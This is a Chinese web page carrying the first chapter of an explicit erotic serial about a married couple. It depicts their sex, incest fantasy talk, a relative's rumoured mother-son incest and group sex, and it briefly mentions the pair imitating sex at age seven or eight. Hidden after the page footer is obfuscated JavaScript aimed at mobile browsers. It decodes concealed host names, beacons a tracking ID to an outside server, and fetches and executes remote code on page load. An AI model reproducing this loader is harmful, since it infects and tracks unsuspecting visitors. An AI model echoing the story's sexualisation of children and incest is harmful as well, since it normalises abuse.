热门搜索

藩篱花开别样媚 (01~08) 作者:蒹葭苍苍

藩篱花开别样媚

作者:蒹葭苍苍
2018年8月23日发表

  写在前面:
  根据网上资料,美国的调查报告显示,有1/3的美国民众承认,与自己的
异性家人发生过乱伦,80%的人对乱伦持支持态度。而近些年来,对于性的开
放态度,在我们身边也越来越普及,某些方面早已经堪比国外。那幺,如果美国
有1/3,我们呢?1/30?还是1/300?即便1/300,在一个人口
100万以上的城市当中,也已经是不小的群体和规模了。
  基于这种推测,我构思了这篇小说。旨在通过一种相对大胆的设定,用小说
的方式,看一看那些性方面较为开放的群体,在面对禁忌诱惑的时候,会是什幺
样的一种表现。
  故事本身当然是虚构,但大部分肉戏情节和场景,都来源于现实。我尽力用
生活化的文字,给大家展示一个淫靡而温馨的故事。我写得开心,也让书友看得
高兴。
  所以,请勿比照普遍的伦理道德,来分析文中故事,如果你不喜欢,绕行就
好。而且,谁说现实当中,就不可能有故事当中的某一片段,某一角色关系,作
为个例单独发生呢?请记住一点,生活本身远比最大胆的文学想象,都更为荒唐
与夸张。比如万荣小学事件。
  你没有看到听到过的,并不意味不存在。你眼中所见的,也未必就是真实。
  最后,谨以此文,向《陈皮皮的斗争》作者流域风大大致敬。

             《藩篱花开别样媚》
  作者:子不语
               第01章
  人的心理,总是充满各种各样的欲望,有的会表现到明面上,比如对权利的
追逐,对金钱的贪婪。有的则隐藏在内心深处,轻易不会表达显露出来。虽然说
不上是人性的阴暗面,却时不时的会从心底跳出来,左右一个人大脑的所思所想。
  言由心生,心致行随,一个人的所思所想,又会左右其言行举止,进而对其
身边最亲密的人,产生潜移默化的影响。
  马小要和妻子许语诺就是这样的例子。
  夫妻俩既是世交又是青梅竹马,七八岁时就模仿大人的性行为,十五岁时真
正偷食禁果,如今虽然结婚不到三年,二人之间却已经有了十年之久的性生活。
好在许语诺从小美到大,即便在美女如云的大学校园,也是女神级的存在。经过
与马小要十年的性爱,在床上越来越知情知趣。而马小要除了是宠妻狂魔,还是
个精力旺盛的性爱机器,两人的房事热度才没怎幺下降,保持着一定的频率。
  频率是保持了,但如何维持性爱当中的激情,小夫妻俩可没少在上面花心思
动脑筋。从大学时期,两个人就开始尝试各种刺激方式,体验各样新鲜乐趣,两
情相悦彼此真爱之下,便没有什幺不肯为对方做的。结婚之后,二人除了享受新
婚燕尔的幸福甜蜜,更是想着法儿取悦对方,享受肉体的欢愉。
  可惜好景不长,马小要本来想多享受几年二人世界,妻子许语诺却一不小心
怀了孕,这下就苦了精力旺盛的马小要。在许语诺手口并用的帮助下,好不容易
熬过爱妻十月怀胎,生下儿子卓卓,终于可以大展雄风,妈妈苏悦容为了帮忙照
顾孙子,搬了过来。
  妈妈和他们一起住,从小与妈妈关系亲近的马小要是非常高兴的,因为又可
以每天与妈妈黏乎一会儿,说说贴心话儿,感受她对自己的宠溺关爱,享受母子
天伦。但不管怎幺说,夫妻俩因此失去了在家中各个角落,白日寻欢的诸多乐趣,
即便是晚上做爱,也不得不压低声音小心翼翼。动作既不敢过于狂放,又不敢叫
的太大声,便只有在心理上谋求额外的刺激。
  这天晚上,等每天搂着孙子睡的妈妈,在楼下的房间里没有了动静,小两口
又行动起来,赤条条的滚抱在床上,开始几乎每晚必做的「功课」。
  马小要趁着二两酒劲,压在妻子许语诺身上猛顶猛抽。人说生过孩子的女人
身体各方面才真正成熟,加上年轻,最是挨肏没够的年龄。这话一点都不假,已
经快二十分钟了,许语诺已经来过了一次高潮,两条如玉长腿仍旧盘在马小要腰
上,下体往上一颠一迎的,兴致勃勃。
  「骚老婆,我肏死你!」马小要见妻子如此骚态,一边加大动作力度,一边
压低声音发狠的说。
  许语诺听着这话,满是春情的眼神愈发明亮。夫妻俩在一起久了,彼此之间
就一点羞耻都没有了!上高一刚偷食禁果那阵儿,马小要稍微说两句粗话,便被
她狠狠地饱以粉拳,并严厉警告:「以后不準说!」可是男人做爱时不讲几句粗
话,就觉得满心不痛快。高二的时候,马小要又开始用那些话故意逗她,许语诺
听了只是脸上红红的,不再抗议。等到了高三,更是媚着眼睛看他,由他去说。
  许语诺终于变得不知羞了,马小要再说出那些粗话来,兴奋度也降低了。不
过上大学同居之后,有一天回出租屋的路上,许语诺忽然在他耳边说了一句:
「坏蛋,我想让你肏我了。」却再一次点燃了马小要全身的火焰。从那以后,许
语诺觉得不过瘾的时候会撒娇似的说:「再多肏一会嘛!」兴奋的时候会翻身骑
到他上面挑衅:「来呀!本姑凉干死你!」
  但是从妈妈江悦容搬过来之后的这段时间,夫妻俩床上的对话又增添了新的
内容。就像今晚,在马小要发狠的说出那句话时,许语诺两手抵在马小要胸前,
笑嘻嘻的接口道:「把我肏死了,你去肏谁?」
  许语诺很清楚隐藏在眼前这个坏老公内心深处的某种心思,知道他喜欢听什
幺,怎幺样能够挑起他的情绪,于是故意拿话刺激他。
  「我肏你妈!」马小要果然兴奋起来,继续狠狠的动着。
  许语诺嘴角抿着笑意,继续说道:「我两个妈呢,你最想肏谁?」
  听着妻子的问话,马小要脸上不动声色,心底的欲望却猛地激上来,说了句:
「我就肏你妈!」
  一连上百下猛抽,插的许语诺颤叫不已。
  那一阵狂劲儿过去,马小要的鸡巴插在妻子紧凑多水的屄里,动作刚慢下来,
妻子正在兴头上,又在他耳旁喘着气挑逗:「坏蛋,你妈也是我妈,你肏不肏?」
马小要的鸡巴瞬间似乎又膨胀一圈,再度发力:「小骚屄,叫你逗我,我就肏你
妈!让肏不?说!让不让我肏你妈?」
  许语诺不停用禁忌话儿撩拨老公,其实自己也兴奋不已,在马小要的狂抽下
快感急速攀升,小腹紧绷乱挺,魂不守舍的连声叫着:「再快点老公,我要……
让……让你肏. 」
  三分钟后,小两口终于彼此满足,揩擦毕下体,抱在一起休息。
  平时每当这个时候,夫妻俩都会安静一会。因为那些关乎禁忌的淫蕩话儿,
做爱的时候情绪上来,说说还可以,但事后两人终归有点惭愧。而且他们彼此都
很清楚,对方心里是真的因为那些内容而刺激与兴奋,这才是让他们不好意思的
地方。
  但是今晚,刚偎进马小要怀里的许语诺,就擡起妩媚的小脸,吃吃的低笑说:
「老公,今天建明哥又来了。」
  马小要一怔,马上又来了精神:「是吗?兰姨是不是又和他……」
  「嗯。」许语诺瞇缝着好看的眸子:「咱妈还站在外面听呢,嘻嘻。」
  他们口中的兰姨,是马小要妈妈苏悦容在老家镇上的远房表姐,因为两家住
得很近,小时候和苏悦容关系挺亲近的。前几年马邛山感觉原先做的医疗器械生
意,风险越来越大,就抽出大部分资金在商业广场租了一层楼面,开了家小型宾
馆。装修完快要开业的时候,不知道兰姨怎幺听到的消息,找了过来,想给安排
个杂活干。毕竟是亲戚,马邛山于是把已经物色好的客房服务辞掉了一个,在储
物间里加了一张床,把她安置了下来。
  兰姨人长得柔眉顺目,年轻的时候也算漂亮,奈何却是个苦命的女人。出嫁
四年死了丈夫,一个人把五岁的儿子陆建明从小拉扯到大,也没再结婚,可谓相
依为命含辛茹苦。陆建明到了二十好几岁,由于家里经济困难,好不容易盖了新
房,却再也出不起彩礼钱,因此一直没能娶上媳妇。老实巴交的陆建明看上去却
一点也不着急,也不出去打工,守着家和寡母兰姨,勤勤勉勉的伺候几亩庄稼、
一棚蔬菜,见了人就憨厚的笑。
  就是从那个时候,镇上开始私下议论兰姨和儿子之间有什幺的传言,据说有
人半夜还偷听过,真听到了某种不可言说的动静。陆建明眼看三十岁的时候,兰
姨终于给他娶了一个媳妇,也生了个儿子,但听说夫妻感情并不是太好。兰姨帮
着把孙子带大一点,不想在家里看儿媳的白眼黑脸,于是出来找活干挣钱养活自
己。由于文化水平不高,换了几份工作都不称心,才辗转找到了苏悦容头上。
  马邛山把宾馆张罗营业后,就把宾馆的大小事情交给了妻子江悦容打理,自
己仍旧负责缩减后的原先生意。
  为了减少开支,一向节俭的苏悦容只聘用了三名前台接待和三名客房服务。
当时许语诺大学毕业后也没找工作,在市文化宫开了一间小舞蹈工作室,周末的
时候教教孩子们舞蹈。前台接待轮休的时候,许语诺就去宾馆顶班。至于另一名
客房服务轮休,就由住在宾馆的兰姨加个班,也能多挣一点。
  开宾馆的都知道,住宾馆的客人形形色色什幺人都有。不说各种婚外情开房
偷情是很普遍的事,就是两三对男男女女在同一间房里淫乱,也属寻常。更有甚
者,住宿登记的时候身份证上明明是父女母子关系,房间里却传出做爱的声音,
这样稀奇的事情也有过。只要宾馆一直开着,类似的情形每隔三两个月,总会碰
到一起。每次碰到这样的事情,另外一个客房工就会和前台接待凑在一起窃窃私
语,会心的对视而笑。兰姨却只是微红了脸默默走开,从不参于议论。许语诺和
婆婆苏悦容因为常去宾馆,当然都知道这些事,回来也没少和各自的老公说过。
  兰姨来宾馆工作后,因为婆媳关系不和,一个月难得回一趟老家去看望孙子,
都是过上一晚就回来。在这种情况下,陆建明因为牵挂母亲,也差不多每个月都
从百来里外的镇上跑到市里,看望兰姨一次。许语诺或者苏悦容在的话,陆建明
会腼腆的和她们打上几句招呼,然后就一直躲在兰姨住的储物间不出来,等时间
差不多了,再坐车回去。
  但是就在差不多一年前这个时候,许语诺怀孕七八个月,有一天又去宾馆替
班,兰姨的儿子建明哥刚好也来了。中午十二点之前有客人退房,许语诺在对讲
机里喊兰姨去打扫房间,兰姨答应了好一会却没见人,许语诺就过去看看兰姨在
储物间忙什幺。嘴上叫着「兰姨」,伸手推门却推不开,又用手敲,就听里面一
阵忙乱的响动后,兰姨满脸通红的拉开半边门闪身出来,接着又把门关上了,慌
里慌张的推着车去收拾客房。走在后面的许语诺细心的发现,一向非常注重穿着
整齐的兰姨,工作服里面的内裤和胸罩带子,非常明显的歪斜着。稍微一楞后,
忽然意识到了什幺,一张俏脸也蓦地红了。
  正好这个时候,有事出去一会的婆婆苏悦容从外面回来,看到了这一幕。等
兰姨进了房间,苏悦容迟疑的了一会,把许语诺拉到一边,把兰姨在老家的那些
传闻,对许语诺小声说了一遍,然后脸上微红的交代许语诺,以后再有这种情况
就多等一会,只要没有客人等房间,又不是什幺要紧事儿。走开的时候还感慨了
一声:「唉,这娘俩啊,真是不容易。」
  许语诺才回过味来,原来婆婆早就知道这个事儿。再回想一下,好像两个前
台另外一个客房阿姨,背后看兰姨的时候,有时也不怎幺对劲儿。显然她们也有
所察觉,只不过碍于兰姨与他们家的亲戚关系,婆婆苏悦容明明知道这个事儿,
对兰姨却仍然一如既往的尊重和回护,她们几个才没有表现出来。
  那以后,憨厚老实的建明哥仍旧每个月来宾馆看望兰姨,许语诺又在替班时
碰到了两次,每次许语诺就很注意了,他们娘俩在储物间的时候,轻易不去打扰。
第二次的时候,许语诺还趁没人偷听了一会,里面果然是那种声音。每次回到家,
许语诺都会在做爱的时候说给老公马小要听,小两口窃笑一会,一起想象兰姨母
子在储物间里的情景,添加点做爱的刺激。而他们之所以开始拿各自的父母作为
禁忌的话题,也与兰姨母子的事情不无关系。算上今天,许语诺已经碰到第三次
了。
  这个时候,马小要听到妈妈也站在门外偷听,心就莫名的跳动一下,嘴里却
嘿嘿笑着:「耳听为虚,眼见为实,我妈偷听,只是想证实一下!」
  「证实你个头。」许语诺脚趾在下面夹了马小要腿肉一下,然后又微瞇了双
眼:「老公,咱妈偷听……你就没什幺想法?」目光里满是意味。
  马小要心里又是一跳,在妻子雪白的臀肉上「啪」地轻拍一下,本着脸说:
「调皮!再激我,老公真把我丈母娘给办了。」
  「去呀!」许语诺开心的笑着,恢複极好的紧致小腹一绷一绷:「谁不让你
去了,嘻嘻,看我爸不把你腿打断。」
  「两条腿都断了都不要紧,就是别打断中间这条,不然好老婆你以后就没得
享受了。」妻子敢主动挑逗,马小要也不客气,坏笑的压着她说:「到时候,嘿
嘿,你就只有找咱两个爸了,给老公说说,你更喜欢哪个?」
  「流氓,除了你们世上就没有男人了呀,谁说我要找……」许语诺话没说完,
晕红了脸,住口不说。
  夫妻二人对视轻笑一下,默契的不再讨论这个话题。
  按下葫芦起了瓢,过了一会,马小要还是压抑不住脑海中的那个念头,轻揉
着妻子的臀瓣,涎着脸说:「好老婆,那个事儿,我们再商量一下呗。」
  嘴马上被许语诺用手堵住。
  「不许再提那件事!」许语诺瞪着马小要,眼神中透着坚定:「别忘了你答
应过我什幺,我们只是在要小孩之前体验一下。我满足了你的想法,你也得遵守
自己做过的承诺。」
  马小要刚在心里提起一丝希望,跃跃欲试的想要再次尝试说服妻子,被一盆
冷水迎头浇下,瞬间垮了脸,谄媚变成苦笑:「知道了老婆。」
  马小要想和许语诺商量的事情,要从他们大四那一年开始说起。当时一对珠
联璧合的同居情侣,在大学的前三年里,已经把能够想到的新奇玩法,差不多都
体验过了。不知道是不是网上的H小说H视频看得太多,而那些小说视频又以乱
伦和淫妻类型居多。乱伦方面,马小要当然是只能在心里想想,不敢尝试的,但
却也渐渐萌生了淫妻心理。
  一开始马小要还只是带着许语诺在网上浏览淫妻类型的小说,和淫妻爱好者
上传到网上的妻子或女友的暴露图片、做爱小视频什幺的,借此挑逗许语诺。当
时的许语诺也感觉非常新奇,居然会有那幺多男人有那种奇怪的心理,热衷于把
自己妻子女友的隐私部位发给网上那幺多人看,还为此刺激兴奋不已。年轻人接
受新事物快,看得多了,许语诺自己心里想想,也觉得是挺好玩挺刺激的,毕竟
不露脸,谁也不知道是谁。所以后来马小要说把他们之前拍的她的那种照片也发
到网上,许语诺只是嗔羞的抗议了两次「变态」,便没再反对。
  每天晚上从学校回到出租屋,沖完澡上了床,马小要便抱着怀里的许语诺,
一起看网站上关于她图片的大量评论内容。虽然许语诺丽质天成的花容月貌,被
模糊处理过了,但还是能够看出她姣美的面部轮廓,加上许语诺的模特身材,丰
乳翘臀细腰,雪白的冰肌玉肤,那些图片一发上去,便引来大批的色狼粉丝,女
神呼声一片。尤其许语诺上下隐私部位的图片,评论更多,什幺:「美乳」、
「好屄」、「阴唇太粉了,娇嫩欲滴」,还有更直接露骨的:「想吃奶」、「好
想肏」。每次都看得许语诺羞红过耳,又心跳不已,没等马小要撩拨自己,下面
便先湿了。因此招来马小要的一次次取笑,许语诺窘迫的还以一通通粉拳。
  当时每天走在街上或者校园里的时候,许语诺都忍不住羞耻的去想,眼前的
那些行人或者男同学,是不是在网上看过自己的下面。羞耻之中,又有种暗中做
了坏事,而又不为人知的小兴奋。有时候想的多了,内裤里面不免湿漉漉的。但
在她看来,这仍旧属于她和马小要之间的小情趣,小秘密,小刺激。她爱马小要,
只要马小要喜欢,又对自己没有实质损害,没有什幺大不了的。网上那幺多情侣
和夫妻在做同样的事情,又不止她和马小要两个。
  因此,出于这种心理,后来马小要加了一些对许语诺图片非常沈迷的网友,
从中挑选出两三个相貌素质都比较高的,让她不露脸,在视频里展示自己的身体,
自慰给对方看,许语诺也半推半就的没怎幺拒绝。每次视频,那种把自己最隐私
的部位,暴露给陌生男人的强烈羞耻感,总是让她几乎瞬间就濡湿了阴户,然后
还要在马小要和对方男人的挑逗与指挥下,用手指拨弄湿滑的花瓣,揉弄阴核,
抠弄屄口,每一次都让她羞耻的咬紧嘴唇,面如火烧,同时又兴奋的浑身发抖,
淫水直流。不等对方男子射出来,自己就先抑制不住的泄了身子。然后浑身瘫软
的被马小要压在身下,一而再再而三的送上高潮。
  但是等到临毕业的时候,马小要提出和对方在现实当中见面,许语诺却非常
抗拒的拒绝了。因为一旦迈出那一步,就不再只是她和马小要两个人之间私密的
爱情方式,而是真实的淫乱了。而且这种淫乱,很可能会给他们带来很多现实中
的风险。
  虽然马小要在长达半年多的时间里一再缠磨请求,许语诺都坚持不肯。直到
马小要做出保证,只是体验一下,几次就好,而且等有了孩子之后,绝对不会再
提出这样的要求。许语诺才答应下来。那个时候,两个人已经在两边爸妈们的安
排下筹备结婚了。
  繁琐紧张的婚礼过后,小两口一边幸福的度着蜜月,马小要一边兴奋的在网
上寻找见面对象。既然答应了马小要,许语诺也不愿意表现的太自私,执意让马
小要在情侣和夫妻当中挑选,而不是马小要担心许语诺误会他想和别的女人上床,
预想之中的单男。从小耳鬓厮磨直到正式结成伴侣,许语诺并不担心马小要和别
的女人发生关系后移情别恋,她相信自己在马小要心中的地位魅力,也相信他对
自己一直以来的感情。
  但是真正和对方夫妻在宾馆见了面,许语诺才发现自己想的有点自大和单纯。
虽然这幺多年来,她在性方面几乎事事按照马小要喜欢的想法和方式去做,用马
小要的话说,自己表现的已经够骚够媚够放开了,但在对方妻子面前,许语诺很
快发现自己做的还远远不够,没一会就败下阵来。
  或许是马小要的高大帅气和在床上的强壮威猛,让对方妻子喜出望外,又或
许他们有过丰富的交换经验,相貌远不如她的对方妻子,在同一个房间的另一张
床上,对马小要时而轻颦浅笑、贴耳私语,时而在马小要身上身下大呼小叫,淫
话连连,使尽浑身解数来讨好马小要。勾引的马小要也大发神威,把对方插的越
发亢奋淫浪。
  而在另一边,虽然对方丈夫相貌上还算不错,但许语诺心里怎幺都觉得对方
猥琐。对方男子对许语诺也同样刻意讨好,不停说着赞美她的话语,吸玩了一会
她的奶子之后,就趴在她两腿中间舔吸个没完没了,用更加肉麻露骨的话儿,把
她私处的每一个部位都赞美一遍。许语诺的感觉已经来了,屄也流水了,对方还
边舔边用手指抠弄,迟迟不肯上来。好不容易戴上套子上来,东西既比老公明显
短小,插进里面没几分钟又射了。然后又趴到许语诺下面继续舔个没完,好像终
于逮到天下最美味的东西,想要一次吃够,以后就再没有了机会似的。
  如此花了大概十分钟时间,对方戴着套在许语诺里面射了两次,倒是趴在下
面舔了足有一个小时。中间许语诺虽然也被舔到两次小高潮,但怎幺都有点不上
不下的。最后还是在对方妻子身上内射下来的马小要,坐在许语诺身边握着她的
手,边盯着对方丈夫舔玩她的私处,看得再次兴奋起来,把粗长的鸡巴狠狠插进
她身体深处,才给了许语诺需要的肉体满足。
  那对夫妻当然没有得到再次见面的机会,虽然他们一再请求。马小要想让许
语诺也从中体验到快乐和满足,又换了一对夫妻。和对方丈夫做的时候,虽然比
第一次好上很多,但让许语诺真正达到高潮的,与其说是对方阴茎抽插的快感,
倒不如说是马小要这个坏老公,像把尿一样抱着她让对方肏弄,带来的巨大羞耻
感和心理刺激。
  后来的两个来月里,马小要又带着许语诺玩了三次,找的都是单男,后面两
次还找了两个。这个坏老公变着法儿和别的男人一起,专心玩弄自己的新婚娇妻,
让她在兴奋与羞耻当中,一次又一次高潮、喷潮。美其名曰让许语诺体验最大的
身体满足。
  直到最后一次,马小要让其中一个男人和他们夫妻俩一起玩三明治,马小要
躺着插许语诺的阴道,那个男人插她后面肛交,许语诺知道不能再继续下去了,
否则马小要的淫妻心理只会越来越严重。为了不让马小要扫兴,也让他体验过一
次后能够甘心,许语诺忍耐着性子让他们最后发泄出来,回到家里就爆发了,和
马小要狠狠吵了一架。无论他后来怎幺请求怎幺搞怪耍赖,说什幺也不同意再出
去了。
  一个多月后,许语诺在排卵期故意说错日期,让马小要射在里面两次,成功
怀孕,马小要才死了心,把精力放到即将成为爸爸的喜悦上来。异常耐心的照顾
妻子的饮食起居,许语诺也因此体会到,被老公宠溺和将要成为母亲的双重甜蜜。
  但是从儿子卓卓半岁左右,贼心不死的马小要,又开始或嬉皮笑脸或苦苦哀
求,想说服许语诺再出去玩儿,不需要太频繁,哪怕半年一年一次都行。许语诺
被缠磨的没法,只能一次次拿马小要之前承诺过的话说事,再就是用还没给孩子
断奶来拖延。
  眼看说好的十个月给儿子断奶的时间就要到了,马小要这些天里,又加紧了
对她的攻势。
  其实许语诺心里很清楚,知道真等给卓卓断了奶,或者卓卓再大一点,自己
肯定无法一直拒绝老公的苦苦相求。她很清楚对有着淫妻癖的老公来说,如果不
能再玩那种游戏,会是多幺强烈的心理压抑。即便是她自己,在玩过那几次之后,
也深知仅从性的角度,那种多人的方式与情景,具有怎样的刺激和诱惑。
  想到这里,许语诺看了一眼闷闷不乐的马小要,心里也有些不忍。暗中叹了
口气,然后露出笑脸,亲了一下他的嘴唇,柔声哄道:「老公,别再想着那个了
好不好,以后我们两个人你想怎幺玩,我都随着你,好不好嘛!」
  马小要其实也知道是自己不对,但还是故作冷淡的说:「不好。」
  许语诺转动了两下眼珠,继续抱着他的胳膊撒娇,红着脸说回刚才的话题:
「那以后做爱的时候,你想让我怎幺说和你爸……还有我爸,说得多难听我都听
你的,好不好?」
  马小要仍旧绷着脸:「不好,光说不练,没意思。」
  许语诺气得掐了他一下:「你不也是光说不练?咱妈不是偷听兰姨和建明哥
吗,还对兰姨这幺好,肯定心里也想过和你……嘻嘻,你去楼下找她啊,说不定
咱妈就假装睡着,让你……」满脸通红的说不下去了。
  马小要情知自己不可能那幺做,妈妈也肯定不会同意,但听了妻子的话心里
还是蓦然动了动,再也绷不住脸,笑着伸手去挠许语诺腋下:「骚老婆,那你会
不会装睡让你爸插,会不会,会不会?」
  许语诺咯咯笑着躲闪:「投降老公,痒……会……我会行了吧,别挠了…
…」
  马小要停手:「会什幺?」
  许语诺凑到他耳边,娇声说道:「让我爸插我的屄。」然后羞生双靥的轻捶
他一下:「这下满意了?坏样。」
  马小要嘿嘿坏笑,看着妻子的如花俏脸和眸子当中的风情,心中说不出的爱
护和骄傲。知道关于这方面的话题最终只能在嘴上说说,但生活当中还有很多其
他的刺激可以寻找,脑子里一动,又贴到她耳边低笑说:「老婆,明天下午我们
……」
  许语诺听他说完,粉脸再次红了起来,妩媚的瞪他一眼,点头答应下来。谁
让自己刚刚答应了这个流氓老公,只要他不再提那件事,就什幺事都顺着他的?
  马小要心满意足的在她脸上亲了一下,许语诺把头在老公怀里埋得更深了一
点,紧了紧搂着他手臂的胳膊,柔声说道:「睡吧老公。」
  夫妻俩闭上双眼,慢慢进入梦乡。

热门搜索

友情链接




返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};